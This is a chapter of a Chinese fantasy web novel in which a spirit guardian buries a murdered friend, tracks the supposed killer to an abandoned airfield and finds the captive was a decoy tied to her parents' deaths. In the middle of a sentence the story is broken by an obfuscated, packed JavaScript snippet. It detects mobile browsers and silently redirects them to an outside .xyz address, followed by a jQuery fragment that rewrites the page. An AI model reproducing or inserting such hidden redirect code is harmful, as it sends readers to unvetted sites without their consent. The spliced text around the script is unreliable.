神父念出悼词的最后一句:“愿主宽恕她,阿门。”
这是少女生前为自己写下的悼词。
元初弦望着昔日的好友下葬,内心不由得一阵酸楚。曾几何时,自己最困难的时候,数这位朋友帮自己最多。
黑色的鸦群惊声尖叫,人们沉默而冷漠地观望着,如同一群看客。骨灰盒被神职人员安放入墓穴之中,浇上一层层土泥,淹没曾经爱笑的少女。
元初弦想要动一动自己的手指,却发现做不到,长久的静默和伫立让她的指尖都在发麻。她感觉自己的灵魂也是如此,麻木许久了,像是彻头彻尾的局外人,甚至做不到畅快地哭一场——
这在灵守间并不罕见,仿佛一场积日成灾的瘟疫。
作为人类的“灯塔”,灵守的首要任务是从妖邪等各种难以用常识理解的不寻常中,守护普通人的和平。
换言之,人类需要的时候,所有的灵守都有义务献出自己的生命。
元初弦以为自己已能坦然面对死亡,可当真正面对生命逝去的时候,只能无能为力接受命运的残酷。
“初弦,你过来一趟。”曾经的导师南清,在葬礼结束后,凑近元初弦,压低了声音。
元初弦眨眨眼,走到他身旁。南清带着元初弦,寻了处僻静地,望着远处山色葱郁,缓缓开口。
“我们几人讨论后一致认为,你的学姐许璐是被杀害的……”
“不是事故?”元初弦的眼中闪过一丝光。
“不是。”南清摇摇头,“事故只是他们对外宣称的说法,实际上,内部调查得出,有专门针对灵守作案的杀手。许璐的死或许和他有关。”
“但我们害怕这件事会造成不好的影响,暂时没有在系统内部公开,请你也要务必保密。他等级不低,性别未详,行动代号暂定为青鹫。初弦,我需要你帮忙找到他。”
元初弦点点头,“我知道了。”
为好友找到杀害她的凶手,自然义不容辞。
南清从口袋里拿出一个试管,元初弦接过它,它质地透明,能看清里面的内容物,是几缕干枯的毛发,末端带着些人皮组织碎屑。
“上面有凶手灵力的残余。我想,这应该对你来说并不难。今天下午两点钟的检测,在朝桦山附近有类似的灵力波动,希望你这几天抽空去看看。”
元初弦的灵能是「领域」,在一定范围内,信息在她眼中相当于一览无余。
她接过试管,郑而重之地将它收好,抬眼看向南清,“老师,你放心,我一定会完成任务。”
南清点点头,忽又恢复成几年前那没脸没皮的模样,拿起折扇,在元初弦头上敲了一下,“别太难过,小小年纪整天绷着个脸,也不嫌累。”
两人从悠长的步道之间走过,树荫葱郁,隐约能听见远处山间的鸟鸣声。
元初弦勉力挤出一个比哭还难看的表情,朝着南清笑了一下。
南清摇摇头,“下次别露出这个表情了。说到底,我认识许璐,比你还久一些,这下反倒显得为师没心没肺了。”
南清是元初弦和许璐共同的导师,不仅见证她们二人的学生时代,更是在工作上帮扶甚多。
元初弦想不到原因,“可能只是我遇到的离别太少了。”
“哈哈,不聊这个了,你赶紧去工作吧。”南清见话题又要往严肃的方向倾倒,连忙结束这个话题。
她答应下来,眼睛却盯着远处苍翠欲滴的青山,移不开眼。
许璐学姐总让她不要绷着脸,笑一笑,说她笑起来的时候会很好看。
“如果谁敢让你不开心了,我就把那人揍趴,前提是我打得过——实在打不过,我就摇人一起打。”
回忆起那人的俏皮话,她苦笑了一声。
现在让我哭的,恰恰是你啊,学姐。
终究还是放下了,她回过神,走向远处的城市。
葬礼结束,并不意味着生活和工作就此停歇,黑色的人群涌入城市的每一处角落,无影无息,仿佛从未来过。
“人类需要和平,为此,需要付出英雄的代价。”
元初弦从不觉得自己是英雄,恰恰相反,她觉得自己只是一个苟且偷生的普通人。
父母在她十岁那年惨死家中,她流落在外,几经辗转被南家收留——说是收留,不过是交易,在进入南家之前,元初弦甚至不知道世界上存在着灵能者。
半是为了求生,半是为了寻找杀害父母的真凶,她选择接受训练,成为一名灵守。
她被分配到的日常任务很简单,就是骑车在路上晃悠,美其名曰“巡视”;到点就准时下班,绝对不在工作上浪费一分钟。
灵守这活儿,说着好听,其实本质上跟环卫没什么区别。
环卫需要四处巡视扫垃圾,灵守也是四处巡视,扫平这座城市的危险因素。
从东环路驾车上高速,驶向西环,便是向着城外的方向进发了,朝桦山和白梅山之间相隔一个市区,而城西算是当地发展较为缓慢的。一路上车辆越来越稀少,人烟也肉眼可见的越来越稀疏。
元初弦耐心地驾车,她开得很快,不慌不忙地搜寻着灵力散布中心可能的位置。
对方并没有反追踪的意识,大大咧咧地将灵力踪迹暴露在外,虽然很散乱,但她依旧找到了精确位置。
不知不觉中,车子来到一处标注“危险”的区域,里三圈外三圈地被不少铁丝网包围着。大部分的铁网都已然锈蚀,只有那块警示牌崭新依旧。
元初弦知道这个地方,是一个废弃的军用停机坪。
她停好车,摘掉头盔,翻进铁丝网内,手中刀刃逐渐显形。
祭祀刀「绛月」,专为斩取妖邪而生,是在神殿中供奉千年的神刀。
元初弦看向远方。
夕阳西下,它留存大地最后的热量,也在急速流失。即便穿了保暖的机车服,她依旧感到一阵莫名的寒意。阴翳在红色的铁锈之间蔓延开来,空气中似乎有某种存在,它们的窃窃私语让人胆寒。
换做一般人,肯定会心生退意,元初弦也有点怕,可这不是说走就能走的,这是她的工作。
元初弦提着祭祀刀检查了一遍周遭,这里的房屋都因为年久失修而破烂不堪,几片铁皮撑着厂房苟延残喘,关键的生产资料早就转移了,徒留一个空壳。
没发现特别可疑的踪迹。
她的脚步突然停顿,刀刃急速变向,一张一弛间,她和对面堪堪打了个来回。
似曾相识的灵力波动,令人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997541|178254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
厌恶的气息萦绕在鼻间。
——是杀害朋友的凶手。
元初弦想追击,却发现对手凭空消失。
“……对方有疑似隐匿气息的灵能?”
一个念头在她脑中闪过,随即而来的,是数十道迫近的暗器。她用刀刃弹开这些针刺,挽了个剑花,巧劲接下对方的一击。
若不是她反应迅捷,现在恐怕已经是一具睁着眼的尸体。
时间仿佛静止了一般,元初弦看向不远处显眼的波动,唇角勾起一抹笑容。
“抓住你了。”她低语道。
空气中的丝线逐渐显现,致命的钢丝淬过了毒,闪着绿色的邪光,设下天罗地网,困住了面前的猎物。
是个男人。
元初弦看着男人的脸庞,皱起眉。
这张脸,她有印象。
但想不起是在何时何地见过。
“呵呵,你就是元初弦?”男人不但没有害怕,反而兴奋地看着她,舔着牙尖,“还真是跟情报里说的一样,就是情报也没说,长得这么好看——”
真是无语,死到临头了还忘不了发-情。
元初弦胃里一阵恶心,要不是灵能管理局的规定,是将这些犯人收押,她早就一刀结束了这东西的生命。
她从未,也不曾遭遇过如此强烈的轻视。
丝线骤然收紧,男人被捆得像蚕茧,肌肉被勒出一道道的红痕,他痛呼出声,却仍不忘提高音量。
“杀了我,哈哈,死在这么漂亮的女人手里,也算我死的值得!”
元初弦充耳不闻,暗中加强灵力,让丝线处于勒不死男人,但能让他痛苦的状态。
男人剧烈挣扎着,眼球依旧盯着元初弦不放。
这种凝视,让她感到恶心。
一个亮晶晶的试管随着男人的动作,滚落地面,骨碌碌地滚到她的鞋尖前。
元初弦捡起试管。
里面有两根头发,倔强地散发着残余的灵力附着。
不好。
很不好。
她清晰地知道,自己被耍了。
“谁派你来的?说!”元初弦瞳孔收缩,将男人踩在脚下。
“呵呵……”男人咳嗽两声,唇角闪过一抹狠戾的阴笑,“元初弦,你抓不到他的,永远。”
“顺便。”他带着某种傲视和睥睨,仿佛他才是那个赢家,“向你的家人送上最诚挚的问候。”
咚的一声,男人的头歪斜在地上。
元初弦喘着粗气,关节捏到发白,才忍住了顺势把男人头砍下的冲动。
她方才只是用刀柄敲晕了男人,这一下虽不致命,但不落枕也会脊椎错位。
“喂,灵能管理局吗?”
“在旧机场,派个人过来。”
对讲机闪烁着红光,在黑夜中像是某种动物的眼睛。
天已完全黑了。
元初弦挂了电话,不带一丝感情地看向男人。
她不会记错。
方才的语句,是多年前自己在孤儿院时,收到汇款信件的末尾落款。
那时,她天真到以为,这只是某个好心人的善举。
元初弦更加确信,自己找到了,多年前杀害自己父母的罪魁祸首。